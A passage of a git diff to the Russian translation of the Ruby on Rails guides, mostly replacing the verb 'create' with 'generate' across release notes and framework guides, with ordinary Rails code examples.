-* Файл `test_help.rb`, который требуется созданным по умолчанию тестом, автоматически сохраняет тестовую базу данных актуальной `db/schema.rb` (или `db/structure.sql`). Он вызывает ошибку, если перезагрузка схемы не решает проблемы отложенных миграций. Настраивается с помощью опции `config.active_record.maintain_test_schema = false`. ([Pull Request](https://github.com/rails/rails/pull/13528)) +* Файл `test_help.rb`, который требуется сгенерированным по умолчанию тестом, автоматически сохраняет тестовую базу данных актуальной `db/schema.rb` (или `db/structure.sql`). Он вызывает ошибку, если перезагрузка схемы не решает проблемы отложенных миграций. Настраивается с помощью опции `config.active_record.maintain_test_schema = false`. ([Pull Request](https://github.com/rails/rails/pull/13528)) Action Pack ----------- @@ -328,7 +328,7 @@ Action Mailer * Добавлена особенность предварительного просмотра писем на основе гема mail_view от 37 Signals. ([Commit](https://github.com/rails/rails/commit/d6dec7fcb6b8fddf8c170182d4fe64ecfc7b2261)) -* Инструмент создания сообщений Action Mailer. Время, потраченное на генерацию сообщения, +* Инструмент генерации сообщений Action Mailer. Время, потраченное на генерацию сообщения, записывается в лог. ([Pull Request](https://github.com/rails/rails/pull/12556)) Active Record @@ -601,7 +601,7 @@ Active Support Так же добавлены псевдонимы `midday`, `noon`, `at_midday`, `at_noon` и `at_middle_of_day`. ([Pull Request](https://github.com/rails/rails/pull/10879)) -* Добавлены `Date#all_week/month/quarter/year` для создания интервалов дат. ([Pull Request](https://github.com/rails/rails/pull/9685)) +* Добавлены `Date#all_week/month/quarter/year` для генерации интервалов дат. ([Pull Request](https://github.com/rails/rails/pull/9685)) * Добавлены `Time.zone.yesterday` и `Time.zone.tomorrow`. ([Pull Request](https://github.com/rails/rails/pull/12822)) diff --git a/source/4_2_release_notes.md b/source/4_2_release_notes.md index 2af5f14d..a9886d8b 100644 --- a/source/4_2_release_notes.md +++ b/source/4_2_release_notes.md @@ -51,12 +51,12 @@ end Adequate Record — это набор улучшений производительности в Active Record, сделавший обычные вызовы методов `find` и `find_by` и некоторых запросов связей до двух раз быстрее. -Он работает, кэшируя обычные запросы SQL как подготовленные выражения (prepared statements) и повторно используя их при подобных вызовах, опуская большую часть работы по созданию запроса при последующих вызовах. За подробностями обратитесь к [публикации Aaron Patterson](http://tenderlovemaking.com/2014/02/19/adequaterecord-pro-like-activerecord.html). +Он работает, кэшируя обычные запросы SQL как подготовленные выражения (prepared statements) и повторно используя их при подобных вызовах, опуская большую часть работы по генерации запроса при последующих вызовах. За подробностями обратитесь к [публикации Aaron Patterson](http://tenderlovemaking.com/2014/02/19/adequaterecord-pro-like-activerecord.html). Active Record будет пользоваться преимуществами этой особенности на поддерживаемых операциях автоматически, без какого-либо вовлечения пользователя или изменения кода. Вот несколько примеров поддерживаемых операций: ```ruby -Post.find(1) # Первый вызов создает и кэширует подготовленное выражение +Post.find(1) # Первый вызов генерирует и кэширует подготовленное выражение Post.find(2) # Последующие вызовы повторно используют закэшированное подготовленное выражение Post.find_by_title('first post') @@ -91,7 +91,7 @@ post.comments(true) ### Веб-консоль -Новые приложения, создаваемые начиная с Rails 4.2, поставляются с гемом [Web Console](https://github.com/rails/web-console) по умолчанию. Веб-консоль добавляет интерактивную консоль Ruby на каждой странице ошибки и хелпер вьюх и контроллеров `console`. +Новые приложения, генерируемые начиная с Rails 4.2, поставляются с гемом [Web Console](https://github.com/rails/web-console) по умолчанию. Веб-консоль добавляет интерактивную консоль Ruby на каждой странице ошибки и хелпер вьюх и контроллеров `console`. Интерактивная консоль на страницах ошибок позволяет выполнять код в контексте места, где было вызвано исключение. Хелпер вьюх `console` при вызове в любом месте вьюхи или контроллера запускает интерактивную консоль в последнем контексте, как только завершится рендеринг. @@ -450,7 +450,7 @@ Action Pack * Добавлена опция для отключения логирования ошибок CSRF. ([Pull Request](https://github.com/rails/rails/pull/14280)) -* Когда сервер Rails настроен обслуживать статичные файлы, сжатые файлы также будут обслужены, если клиент их поддерживает и эти файлы (`.gz`) есть на диске. По умолчанию asset pipeline создает файлы `.gz` для всех сжимаемых файлов. Обслуживание сжатых файлов минимизирует передаваемые данные и ускоряет запрос к файлу. Всегда [используйте CDN](/asset-pipeline#cdns) если обслуживаете файлы ресурсов на сервере Rails в production. +* Когда сервер Rails настроен обслуживать статичные ассеты, gzip ассеты также будут обслужены, если клиент их поддерживает и предварительно генерирует файл gzip (`.gz`) на диск. По умолчанию asset pipeline генерирует файлы `.gz` для всех сжимаемых ассетов. Обслуживание gzip файлов минимизирует передаваемые данные и ускоряет запрос к ассету. Всегда [используйте CDN](/asset-pipeline#cdns), если обслуживаете файлы ассетов на сервере Rails в production. ([Pull Request](https://github.com/rails/rails/pull/16466)) * При вызове хелперов `process` в интеграционном тесте, пути необходим начальный слэш. Раньше его можно было опустить, но это был побочный продукт реализации, а не специальная особенность, т.е.: @@ -480,7 +480,7 @@ Action View * `render "foo/bar"` теперь расширяется до `render template: "foo/bar"` вместо `render file: "foo/bar"`. ([Pull Request](https://github.com/rails/rails/pull/16888)) -* Хелперы форм больше не создают элемент `
    ` с inline CSS вокруг скрытых полей. +* Хелперы форм больше не генерируют элемент `
    ` с inline CSS вокруг скрытых полей. ([Pull Request](https://github.com/rails/rails/pull/14738)) * Представлена специальная локальная переменная `#{partial_name}_iteration` для использования с партиалами, рендерящимися с коллекцией. Она предоставляет доступ к текущему состоянию итерации с помощью методов `index`, `size`, `first?` и `last?`. @@ -505,7 +505,7 @@ Action Mailer ### Значимые изменения -* `link_to` и `url_for` по умолчанию создают абсолютные URL в шаблонах, больше нет необходимости передавать `only_path: false`. +* `link_to` и `url_for` по умолчанию генерируют абсолютные URL в шаблонах, больше нет необходимости передавать `only_path: false`. ([Commit](https://github.com/rails/rails/commit/9685080a7677abfa5d288a81c3e078368c6bb67c)) * Представлен `deliver_later`, который добавляет в очередь задание для доставки писем асинхронно. diff --git a/source/5_0_release_notes.md b/source/5_0_release_notes.md index 9f7ef46c..374c5ebe 100644 --- a/source/5_0_release_notes.md +++ b/source/5_0_release_notes.md @@ -35,7 +35,7 @@ Action Cable позволяет писать функционал реально Теперь можно использовать Rails для создания can now be used to create облегченных только API-приложений. Это полезно для создания и обслуживания API, подобным API [Twitter](https://dev.twitter.com) или [GitHub](http://developer.github.com), которые можно использовать как для публичного доступа, так и для собственных приложений. -Новое api-приложение Rails можно создать с помощью: +Новое api-приложение Rails можно сгенерировать с помощью: ```bash $ rails new my_api --api diff --git a/source/5_1_release_notes.md b/source/5_1_release_notes.md index a2387ce5..1b34995b 100644 --- a/source/5_1_release_notes.md +++ b/source/5_1_release_notes.md @@ -100,7 +100,7 @@ resolve("Basket") { [:basket] } <% end %> ``` -Это создаст одиночный URL `/basket` вместо обычного `/baskets/:id`. +Это сгенерирует одиночный URL `/basket` вместо обычного `/baskets/:id`. Метод `direct` позволяет создавать хелперы для произвольного URL. diff --git a/source/action_controller_overview.md b/source/action_controller_overview.md index f7b892e0..fe68c7cf 100644 --- a/source/action_controller_overview.md +++ b/source/action_controller_overview.md @@ -166,7 +166,7 @@ get '/clients/:status' => 'clients#index', foo: 'bar' ### `default_url_options` -Можно установить глобальные параметры по умолчанию для создания URL, определив в контроллере метод по имени `default_url_options`. Этот метод должен возвращать хэш с желаемыми значениями по умолчанию, ключи которого должны быть символами: +Можно установить глобальные параметры по умолчанию для генерации URL, определив в контроллере метод по имени `default_url_options`. Этот метод должен возвращать хэш с желаемыми значениями по умолчанию, ключи которого должны быть символами: ```ruby class ApplicationController < ActionController::Base @@ -178,7 +178,7 @@ end Эти опции будут использованы как начальная точка при генерации URL, поэтому они могут быть переопределены опциями, переданными в `url_for`. -Если определить `default_url_options` в `ApplicationController`, как это показано в вышеприведенном примере, эти значения по умолчанию будут использованы для генерации всех URL. Этот метод также может быть определен в одном отдельном контроллере, и в этом случае он влияет только на URL, создаваемые в нем. +Если определить `default_url_options` в `ApplicationController`, как это показано в вышеприведенном примере, эти значения по умолчанию будут использованы для генерации всех URL. Этот метод также может быть определен в одном отдельном контроллере, и в этом случае он влияет только на URL, сгенерированные в нем. В данном запросе, на самом деле, метод не вызывается для каждого сгенерированного URL; для повышения производительности, возвращаемый хэш кэшируется, метод выполняется не более одного раза за запрос. @@ -594,7 +594,7 @@ end Рендеринг данных XML и JSON --------------------------- -ActionController позволяет очень просто рендерить данные `XML` или `JSON`. Если создадите контроллер с помощью скаффолдинга, то он будет выглядеть следующим образом. +ActionController позволяет очень просто рендерить данные `XML` или `JSON`. Если сгенерируете контроллер с помощью скаффолдинга, то он будет выглядеть следующим образом. ```ruby class UsersController < ApplicationController @@ -750,7 +750,7 @@ end Rails добавит этот токен в каждую форму, генерируемую с помощью [хелперов форм](/rails-form-helpers), таким образом, большую часть времени можете об этом не беспокоиться. Если вы пишете формы вручную или хотите добавить токен по другой причине, это можно сделать, используя метод `form_authenticity_token`: -`form_authenticity_token` создает валидный аутентификационный токен. Его полезно помещать в места, куда Rails не добавляет его автоматически, например в произвольные вызовы Ajax. +`form_authenticity_token` генерирует валидный аутентификационный токен. Его полезно помещать в места, куда Rails не добавляет его автоматически, например в произвольные вызовы Ajax. В [Руководстве по безопасности](/ruby-on-rails-security-guide) имеется более подробная информация об этом, и множество других вопросов, посвященных безопасности, которые вы должны принимать во внимание при разработке веб-приложения. @@ -856,7 +856,7 @@ end ```ruby require "prawn" class ClientsController < ApplicationController - # Создает документ PDF с информацией на клиента и возвращает + # Генерирует документ PDF с информацией на клиента и возвращает # его. Пользователь получает PDF как загрузку файла. def download_pdf client = Client.find(params[:id]) @@ -877,7 +877,7 @@ class ClientsController < ApplicationController end ``` -Экшн `download_pdf` в примере вызовет private метод, который фактически создаст документ PDF и возвратит его как строку. Эта строка будет направлена клиенту как загрузка файла, и пользователю будет предложено имя файла. Иногда при потоковой передаче файлов пользователю может не потребоваться загрузка файла. Возьмите, например, изображения, которые могут быть встроены в страницы HTML. Чтобы сказать браузеру, что файл файл не предназначен для скачивания, нужно установить опцию `:disposition` как "inline". Противоположное дефолтное значение этой опции - "attachment". +Экшн `download_pdf` в примере вызовет private метод, который фактически сгенерирует документ PDF и возвратит его как строку. Эта строка будет направлена клиенту как загрузка файла, и пользователю будет предложено имя файла. Иногда при потоковой передаче файлов пользователю может не потребоваться загрузка файла. Возьмите, например, изображения, которые могут быть встроены в страницы HTML. Чтобы сказать браузеру, что файл файл не предназначен для скачивания, нужно установить опцию `:disposition` как "inline". Противоположное дефолтное значение этой опции - "attachment". ### Отправка файлов @@ -885,7 +885,7 @@ end ```ruby class ClientsController < ApplicationController - # Потоковая передача файла, который уже был создан и сохранен на диск. + # Потоковая передача файла, который уже был сгенерирован и сохранен на диск. def download_pdf client = Client.find(params[:id]) send_file("#{Rails.root}/files/clients/#{client.id}.pdf", diff --git a/source/action_mailer_basics.md b/source/action_mailer_basics.md index e0a2964c..e1887187 100644 --- a/source/action_mailer_basics.md +++ b/source/action_mailer_basics.md @@ -6,7 +6,7 @@ После прочтения этого руководства, вы узнаете: * Как отправлять и получать письма в приложении Rails. -* Как создавать и редактировать класс Action Mailer и вьюху рассыльщика. +* Как генерировать и редактировать класс Action Mailer и вьюху рассыльщика. * Как настраивать Action Mailer для своей среды. * Как тестировать свои классы Action Mailer. @@ -17,7 +17,7 @@ Action Mailer позволяет отправлять электронные п Этот раздел представляет пошаговое руководство по созданию рассыльщика и его вьюх. -### Пошаговое руководство по созданию рассыльщика +### Пошаговое руководство по генерации рассыльщика #### Создаем рассыльщик @@ -57,7 +57,7 @@ end #### Редактируем рассыльщик -Рассыльщики очень похожи на контроллеры Rails. У них также есть методы, называемые "экшнами", и они используют вьюхи для структурирования содержимого. В то время, когда контроллер создает содержимое, например HTML, для возврата его на клиент, рассыльщик создает сообщение для доставки по электронной почте. +Рассыльщики очень похожи на контроллеры Rails. У них также есть методы, называемые "экшнами", и они используют вьюхи для структурирования содержимого. В то время, когда контроллер генерирует содержимое, например HTML, для возврата его на клиент, рассыльщик создает сообщение для доставки по электронной почте. `app/mailers/user_mailer.rb` содержит пустой рассыльщик: @@ -126,7 +126,7 @@ To login to the site, just follow this link: <%= @url %>. Thanks for joining and have a great day! ``` -Теперь при вызове метода `mail`, Action Mailer обнаружит два шаблона (text и HTML) и автоматически создаст `multipart/alternative` email. +Теперь при вызове метода `mail`, Action Mailer обнаружит два шаблона (text и HTML) и автоматически сгенерирует `multipart/alternative` email. #### Вызов рассыльщика @@ -393,7 +393,7 @@ end config.action_mailer.preview_path = "#{Rails.root}/lib/mailer_previews" ``` -### Создаем URL во вьюхах Action Mailer +### Генерируем URL во вьюхах Action Mailer В отличие от контроллеров, экземпляр рассыльщика не может использовать какой-либо контекст относительно входящего запроса, поэтому необходимо предоставить параметр `:host` самостоятельно. @@ -418,7 +418,7 @@ config.action_mailer.default_url_options = { host: 'example.com' } При использовании полного URL ваши ссылки в письмах будут работать. -#### Создание URL с помощью `url_for` +#### Генерация URL с помощью `url_for` `url_for` генерирует полный URL по умолчанию в шаблонах. @@ -430,7 +430,7 @@ config.action_mailer.default_url_options = { host: 'example.com' } action: 'greeting') %> ``` -#### Создание URL с помощью именованных маршрутов +#### Генерация URL с помощью именованных маршрутов У клиентов email отсутствует веб контекст, таким образом у путей нет базового URL для формирования полного веб адреса. Поэтому следует всегда использовать только вариант "_url" именованных маршрутных хелперов. @@ -597,7 +597,7 @@ Action Mailer теперь всего лишь наследуется от `Abst | Конфигурация | Описание | | ----------------------- | -------- | -| `logger` | logger используется для создания информации на ходу, если возможно. Можно установить как `nil` для отсутствия логирования. Совместим как с `Logger` в Ruby, так и с логгером `Log4r`.| +| `logger` | logger используется для генерации информации на ходу, если возможно. Можно установить как `nil` для отсутствия логирования. Совместим как с `Logger` в Ruby, так и с логгером `Log4r`.| | `smtp_settings` | Позволяет подробную настройку для метода доставки `:smtp`:
    • `:address` - Позволяет использовать удаленный почтовый сервер. Просто измените его изначальное значение "localhost".
    • `:port` - В случае, если ваш почтовый сервер не работает с 25 портом, можете изменить его.
    • `:domain` - Если необходимо определить домен HELO, это можно сделать здесь.
    • `:user_name` - Если почтовый сервер требует аутентификацию, установите имя пользователя этой настройкой.
    • `:password` - Если почтовый сервер требует аутентификацию, установите пароль этой настройкой.
    • `:authentication` - Если почтовый сервер требует аутентификацию, здесь нужно определить тип аутентификации. Это один из символов `:plain` (будет отправлять пароль в открытом виде), `:login` (будет отправлять пароль закодированным Base64) или `:cram_md5` (сочетает в себе механизм Challenge/Response для обмена информацией и криптографический алгоритм Message Digest 5 хэширования важной информации)
    • `:enable_starttls_auto` - Определяет, включен ли STARTTLS в вашем SMTP сервере и будет использовать это. По умолчанию, `true`.
    • `:openssl_verify_mode` - При использовании TLS, вы можете установить, как OpenSSL проверяет сертификат. Это действительно полезно, если вам нужно производить проверку самостоятельно созданного и/или группового сертификата. Вы можете использовать название проверяющей константы OpenSSL ('none' или 'peer') или непосредственно константу (`OpenSSL::SSL::VERIFY_NONE` или `OpenSSL::SSL::VERIFY_PEER`).
    | | `sendmail_settings` | Позволяет переопределить опции для метода доставки `:sendmail`.
    • `:location` - Расположение исполняемого sendmail. По умолчанию `/usr/sbin/sendmail`.
    • `:arguments` - Аргументы командной строки. По умолчанию `-i`.
    | | `raise_delivery_errors` | Должны ли быть вызваны ошибки, если email не может быть доставлен. Это работает, если внешний сервер email настроен на немедленную доставку.| diff --git a/source/active_record_callbacks.md b/source/active_record_callbacks.md index 037a0aad..82f7e3e2 100644 --- a/source/active_record_callbacks.md +++ b/source/active_record_callbacks.md @@ -224,7 +224,7 @@ An Employee was touched Колбэк `after_initialize` запускается всякий раз, когда инициализируется новый объект класса. -NOTE: Методы `find_by_*` и `find_by_*!` это динамические методы поиска, создаваемые автоматически для каждого атрибута. Изучите подробнее их в [разделе Динамический поиск](/active-record-query-interface#dynamic-finders) +NOTE: Методы `find_by_*` и `find_by_*!` это динамические методы поиска, генерируемые автоматически для каждого атрибута. Изучите подробнее их в [разделе Динамический поиск](/active-record-query-interface#dynamic-finders) Пропуск колбэков ---------------- diff --git a/source/active_record_migrations.md b/source/active_record_migrations.md index b6d93b59..af6e5315 100644 --- a/source/active_record_migrations.md +++ b/source/active_record_migrations.md @@ -101,7 +101,7 @@ end $ bin/rails generate migration AddPartNumberToProducts part_number:string ``` -создаст +сгенерирует ```ruby class AddPartNumberToProducts < ActiveRecord::Migration[5.0] @@ -117,7 +117,7 @@ end $ bin/rails generate migration AddPartNumberToProducts part_number:string:index ``` -создаст +сгенерирует ```ruby class AddPartNumberToProducts < ActiveRecord::Migration[5.0] @@ -134,7 +134,7 @@ end $ bin/rails generate migration RemovePartNumberFromProducts part_number:string ``` -создаст +генерирует ```ruby class RemovePartNumberFromProducts < ActiveRecord::Migration[5.0] @@ -144,13 +144,13 @@ class RemovePartNumberFromProducts < ActiveRecord::Migration[5.0] end ``` -Вы не ограничены одним создаваемым столбцом. Например: +Вы не ограничены одним сгенерированным столбцом. Например: ```bash $ bin/rails generate migration AddDetailsToProducts part_number:string price:decimal ``` -создаст +генерирует ```ruby class AddDetailsToProducts < ActiveRecord::Migration[5.0] @@ -161,13 +161,13 @@ class AddDetailsToProducts < ActiveRecord::Migration[5.0] end ``` -Если имя миграции имеет форму "CreateXXX" и затем следует список имен и типов столбцов, то будет сгенерирована миграция, создающая таблицу XXX с перечисленными столбцами. Например: +Если имя миграции имеет форму "CreateXXX" и затем следует список имен и типов столбцов, то будет сгенерирована миграция, генерирующая таблицу XXX с перечисленными столбцами. Например: ```bash $ bin/rails generate migration CreateProducts name:string part_number:string ``` -создаст +генерирует ```ruby class CreateProducts < ActiveRecord::Migration[5.0] @@ -188,7 +188,7 @@ end $ bin/rails generate migration AddUserRefToProducts user:references ``` -создаст +генерирует ```ruby class AddUserRefToProducts < ActiveRecord::Migration[5.0] @@ -207,6 +207,7 @@ end ```bash $ bin/rails generate migration CreateJoinTableCustomerProduct customer product ``` + Сгенерирует следующую миграцию: ```ruby @@ -219,6 +220,7 @@ class CreateJoinTableCustomerProduct < ActiveRecord::Migration[5.0] end end ``` + ### Генераторы модели Генераторы модели и скаффолда создадут миграции, подходящие для создания новой модели. Миграция будет содержать инструкции для создания соответствующей таблицы. Если вы сообщите Rails, какие столбцы вы хотите, то выражения для добавления этих столбцов также будут созданы. Например, запуск: @@ -274,7 +276,7 @@ TIP: Чтобы узнать подробности, обратите внима ### Создание таблицы -Метод `create_table` один из самых фундаментальных, но в большинстве случаев, он будет создан для вас генератором модели или скаффолда. Обычное использование такое +Метод `create_table` один из самых фундаментальных, но в большинстве случаев, он будет сгенерирован для вас генератором модели или скаффолда. Обычное использование такое ```ruby create_table :products do |t| @@ -722,7 +724,7 @@ end Периодически вы будете делать ошибки при написании миграции. Если вы уже запустили миграцию, вы не сможете просто отредактировать миграцию и запустить ее снова: Rails посчитает, что он уже выполнял миграцию, и ничего не сделает при запуске `rails db:migrate`. Вы должны откатить миграцию (например, с помощью `bin/rails db:rollback`), отредактировать миграцию и затем запустить `rails db:migrate` для запуска исправленной версии. -В целом, редактирование существующих миграций не хорошая идея. Вы создадите дополнительную работу себе и своим коллегам, и вызовете море головной боли, если существующая версия миграции уже была запущена в production. Вместо этого, следует написать новую миграцию, выполняющую требуемые изменения. Редактирование только что созданной миграции, которая еще не была закоммичена в систему контроля версий (или, хотя бы, не ушла дальше вашей рабочей машины) относительно безвредно. +В целом, редактирование существующих миграций не хорошая идея. Вы создадите дополнительную работу себе и своим коллегам, и вызовете море головной боли, если существующая версия миграции уже была запущена в production. Вместо этого, следует написать новую миграцию, выполняющую требуемые изменения. Редактирование только что сгенерированные миграции, которая еще не была закоммичена в систему контроля версий (или, хотя бы, не ушла дальше вашей рабочей машины) относительно безвредно. Метод `revert` может быть очень полезным при написании новой миграции для возвращения предыдущей в целом или какой то части (смотрите [Возвращение к предыдущим миграциям](#writing-a-migration) diff --git a/source/active_record_querying.md b/source/active_record_querying.md index 895968fe..b5b11b95 100644 --- a/source/active_record_querying.md +++ b/source/active_record_querying.md @@ -520,7 +520,7 @@ SELECT * FROM clients WHERE (clients.created_at BETWEEN '2008-12-21 00:00:00' AN Client.where(orders_count: [1,3,5]) ``` -Этот код создаст подобный SQL: +Этот код сгенерирует подобный SQL: ```sql SELECT * FROM clients WHERE (clients.orders_count IN (1,3,5)) @@ -534,7 +534,7 @@ SELECT * FROM clients WHERE (clients.orders_count IN (1,3,5)) Client.where.not(locked: true) ``` -Другими словами, этот запрос может быть создан с помощью вызова `where` без аргументов и далее присоединенным `not` с переданными условиями для `where`. Это сгенерирует такой SQL: +Другими словами, этот запрос может быть сгенерирован с помощью вызова `where` без аргументов и далее присоединенным `not` с переданными условиями для `where`. Это сгенерирует такой SQL: ```sql SELECT * FROM clients WHERE (clients.locked != 1) @@ -631,7 +631,7 @@ ActiveModel::MissingAttributeError: missing attribute: Client.select(:name).distinct ``` -Это создаст такой SQL: +Это сгенерирует такой SQL: ```sql SELECT DISTINCT name FROM clients @@ -874,7 +874,7 @@ SELECT * FROM articles WHERE `trashed` = 1 AND `trashed` = 0 Нулевой Relation ---------------- -Метод `none` возвращает сцепляемый relation без записей. Любые последующие условия, сцепленные с возвращенным relation, продолжат возвращать пустые relation. Это полезно в случаях, когда необходим сцепляемый отклик на метод или скоуп, который может вернуть пустые результаты. +Метод `none` возвращает сцепляемый relation без записей. Любые последующие условия, сцепленные с возвращенным relation, продолжат генерировать пустые relation. Это полезно в случаях, когда необходим сцепляемый отклик на метод или скоуп, который может вернуть пустые результаты. ```ruby Article.none # возвращает пустой Relation и не вызывает запросов. @@ -1507,7 +1507,7 @@ book.available? # => false (смотрите [Получение одиночного объекта](#poluchenie-odinochnogo-ob-ekta))) должны вызываться в конце. Ниже представлены несколько примеров. Это руководство не покрывает все возможности, а только некоторые, для ознакомления. -Когда вызывается Active Record метод, запрос не сразу формируется и отправляется в базу, +Когда вызывается Active Record метод, запрос не сразу генерируется и отправляется в базу, это происходит только тогда, когда данные реально необходимы. Таким образом, каждый пример ниже генерирует только один запрос. ### Получение отфильтрованных данных из нескольких таблиц @@ -1628,7 +1628,7 @@ nick.new_record? # => true ``` -Поскольку объект еще не сохранен в базу данных, создаваемый SQL выглядит так: +Поскольку объект еще не сохранен в базу данных, сгенерированный SQL выглядит так: ```sql SELECT * FROM clients WHERE (clients.first_name = 'Nick') LIMIT 1 diff --git a/source/active_record_validations.md b/source/active_record_validations.md index d8cafc23..1883f21d 100644 --- a/source/active_record_validations.md +++ b/source/active_record_validations.md @@ -7,7 +7,7 @@ * Как использовать встроенные хелперы валидации Active Record * Как создавать свои собственные методы валидации -* Как работать с сообщениями об ошибках, возникающими в процессе валидации +* Как работать с сообщениями об ошибках, генерируемыми в процессе валидации Обзор валидаций --------------- @@ -998,7 +998,7 @@ person.errors.size # => 0 Как только вы создали модель и добавили валидации, если эта модель создается с помощью веб-формы, то вы, возможно хотите отображать сообщение об ошибке, когда одна из валидаций проваливается. -Поскольку каждое приложение обрабатывает подобные вещи по-разному, в Rails нет какого-то хелпера вьюхи для непосредственного создания этих сообщений. Однако, благодаря богатому набору методов, Rails в целом дает способ взаимодействия с валидациями, очень просто создать свой собственный. Кроме того, при генерации скаффолда, Rails поместит некоторый ERB в `_form.html.erb`, созданный для отображения полного списка ошибок этой модели. +Поскольку каждое приложение обрабатывает подобные вещи по-разному, в Rails нет какого-то хелпера вьюхи для непосредственной генерации этих сообщений. Однако, благодаря богатому набору методов, Rails в целом дает способ взаимодействия с валидациями, очень просто создать свой собственный. Кроме того, при генерации скаффолда, Rails поместит некоторый ERB в `_form.html.erb`, генерируемый для отображения полного списка ошибок этой модели. Допустим, у нас имеется модель, сохраненная в переменную экземпляра `@article`, это выглядит следующим образом: @@ -1015,7 +1015,7 @@ person.errors.size # => 0 <% end %> ``` -Более того, при использовании хелперов форм Rails для создания форм, когда у поля происходит ошибка валидации, создается дополнительный `
    ` вокруг содержимого. +Более того, при использовании хелперов форм Rails для создания форм, когда у поля происходит ошибка валидации, генерируется дополнительный `
    ` вокруг содержимого. ```erb
    @@ -1023,7 +1023,7 @@ person.errors.size # => 0
    ``` -Этот div можно стилизовать по желанию. К примеру, скаффолд по умолчанию добавляет это правило CSS: +Этот div можно стилизовать по желанию. К примеру, дефолтный скаффолд, который генерирует Rails, добавляет это правило CSS: ``` .field_with_errors { diff --git a/source/active_support_core_extensions.md b/source/active_support_core_extensions.md index ccfdbf15..460189ba 100644 --- a/source/active_support_core_extensions.md +++ b/source/active_support_core_extensions.md @@ -382,7 +382,7 @@ account.to_query('company[name]') # => "sample%5B%5D=3.4&sample%5B%5D=-45.6" ``` -Хэши также отвечают на `to_query`, но в другом ключе. Если аргументы не заданы, вызов создает сортированную серию назначений ключ/значение, вызвав `to_query(key)` на его значениях. Затем он соединяет результат с помощью "&": +Хэши также отвечают на `to_query`, но в другом ключе. Если аргументы не заданы, вызов генерирует сортированную серию назначений ключ/значение, вызвав `to_query(key)` на его значениях. Затем он соединяет результат с помощью "&": ```ruby {c: 3, b: 2, a: 1}.to_query # => "a=1&b=2&c=3" @@ -814,9 +814,9 @@ delegate :name, to: :profile, allow_nil: true delegate :street, to: :address, prefix: true ``` -Предыдущий пример создаст `address_street`, а не `street`. +Предыдущий пример генерирует `address_street`, а не `street`. -WARNING: Поскольку в этом случае имя создаваемого метода составляется из имен целевого объекта и целевого метода, опция `:to` должна быть именем метода. +WARNING: Поскольку в этом случае имя генерируемого метода составляется из имен целевого объекта и целевого метода, опция `:to` должна быть именем метода. Также может быть настроен произвольный префикс: @@ -824,7 +824,7 @@ WARNING: Поскольку в этом случае имя создаваемо delegate :size, to: :attachment, prefix: :avatar ``` -В предыдущем примере макрос создаст `avatar_size`, а не `size`. +В предыдущем примере макрос генерирует `avatar_size`, а не `size`. NOTE: Определено в `active_support/core_ext/module/delegation.rb` @@ -908,7 +908,7 @@ a1.x # => 1, приходит из A a2.x # => 2, переопределено в a2 ``` -Создание райтер-метода экземпляра может быть отключено установлением опции `:instance_writer` в false, как в +Генерация райтер-метода экземпляра может быть отключено установлением опции `:instance_writer` в false, как в ```ruby module ActiveRecord @@ -920,7 +920,7 @@ end В модели такая опция может быть полезной как способ предотвращения массового назначения для установки атрибута. -Создание ридер-метода может быть отключено установлением опции `:instance_reader` в `false`. +Генерация ридер-метода может быть отключено установлением опции `:instance_reader` в `false`. ```ruby class A @@ -941,11 +941,11 @@ NOTE: Определено в `active_support/core_ext/class/attribute.rb`. #### `cattr_reader`, `cattr_writer` и `cattr_accessor` -Макросы `cattr_reader`, `cattr_writer` и `cattr_accessor` являются аналогами их коллег `attr_*`, но для классов. Они инициализируют переменную класса как `nil`, если она уже существует, и создают соответствующие методы класса для доступа к ней: +Макросы `cattr_reader`, `cattr_writer` и `cattr_accessor` являются аналогами их коллег `attr_*`, но для классов. Они инициализируют переменную класса как `nil`, если она уже существует, и генерируют соответствующие методы класса для доступа к ней: ```ruby class MysqlAdapter < AbstractAdapter - # Создает методы класса для доступа к @@emulate_booleans. + # Генерирует методы класса для доступа к @@emulate_booleans. cattr_accessor :emulate_booleans, default: true end ``` @@ -966,21 +966,21 @@ end ```ruby class MysqlAdapter < AbstractAdapter - # Создает методы класса для доступа к @@emulate_booleans со значением по умолчанию true. + # Генерирует методы класса для доступа к @@emulate_booleans со значением по умолчанию true. cattr_accessor :emulate_booleans, default: true end ``` -Создание ридер-метода экземпляра предотвращается установкой `:instance_reader` в `false` и создание райтер-метода экземпляра предотвращается установкой `:instance_writer` в `false`. Создание обоих методов предотвращается установкой `:instance_accessor` в `false`. Во всех случаях, должно быть не любое ложное значение, а именно `false`: +Генерация ридер-метода экземпляра предотвращается установкой `:instance_reader` в `false` и генерация райтер-метода экземпляра предотвращается установкой `:instance_writer` в `false`. Генерация обоих методов предотвращается установкой `:instance_accessor` в `false`. Во всех случаях, должно быть не любое ложное значение, а именно `false`: ```ruby module A class B - # No first_name instance reader is generated. + # first_name ридер экземпляра не генерируется. cattr_accessor :first_name, instance_reader: false - # No last_name= instance writer is generated. + # last_name= райтер экземпляра не генерируется. cattr_accessor :last_name, instance_writer: false - # No surname instance reader or surname= writer is generated. + # surname ридер экземпляра или surname= райтер экземпляра не генерируется. cattr_accessor :surname, instance_accessor: false end end @@ -1370,7 +1370,7 @@ NOTE: Определено в `active_support/core_ext/string/access.rb`. "equipment".pluralize # => "equipment" ``` -Как показывает предыдущий пример, Active Support знает некоторые неправильные множественные числа и неисчислимые существительные. Встроенные правила могут быть расширены в `config/initializers/inflections.rb`. Этот файл создается командой `rails` и имеет инструкции в комментариях. +Как показывает предыдущий пример, Active Support знает некоторые неправильные множественные числа и неисчислимые существительные. Встроенные правила могут быть расширены в `config/initializers/inflections.rb`. Этот файл генерируется командой `rails` и имеет инструкции в комментариях. `pluralize` также может принимать опциональный параметр `count`. Если `count == 1`, будет возвращена единственная форма. Для остальных значений `count` будет возвращена множественная форма: @@ -2029,7 +2029,7 @@ NOTE: Определено в `active_support/core_ext/enumerable.rb`. ### `index_by` -Метод `index_by` создает хэш с элементами перечисления, индексированными по некоторому ключу. +Метод `index_by` генерирует хэш с элементами перечисления, индексированными по некоторому ключу. Он перебирает коллекцию и передает каждый элемент в блок. Значение, возвращенное блоком, будет ключом для элемента: @@ -2902,7 +2902,7 @@ Active Support расширяет метод `Range#to_s` так, что он п # => "BETWEEN '2009-10-25' AND '2009-10-26'" ``` -Как изображено в примере, формат `:db` создает SQL условие `BETWEEN`. Это используется Active Record в его поддержке интервальных значений в условиях. +Как изображено в примере, формат `:db` генерирует SQL условие `BETWEEN`. Это используется Active Record в его поддержке интервальных значений в условиях. NOTE: Определено в `active_support/core_ext/range/conversions.rb`. @@ -3558,7 +3558,7 @@ now.all_day # => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Mon, 09 Aug 2010 